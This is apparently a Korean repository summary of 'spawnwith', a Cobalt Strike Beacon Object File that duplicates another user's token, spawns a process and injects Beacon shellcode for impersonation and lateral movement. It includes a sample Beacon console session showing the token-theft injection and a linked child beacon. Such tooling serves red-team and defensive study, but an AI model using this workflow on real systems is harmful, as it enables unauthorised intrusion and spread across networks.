rasta-mouse/spawnwith다른 사용자의 토큰을 사용하여 프로세스를 생성하고 Beacon 셸코드를 주입하여, 가장(impersonation)을 통한 사후 악용(post-exploitation) 및 횡적 이동(lateral movement)을 가능하게 하는 Cobalt Strike BOF
spawnas 및 inject 명령의 대안을 제공하는 실험적인 Beacon Object File(BOF)입니다. 이는 새로운 명령 spawn_with [pid] [listener]를 노출하며, 다음을 수행합니다:
spawnto 값을 가져옵니다.CreateProcessWithTokenW를 사용하여 복제된 토큰으로 새 프로세스를 생성하려고 시도합니다.
CreateProcessAsUserW를 시도합니다.beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
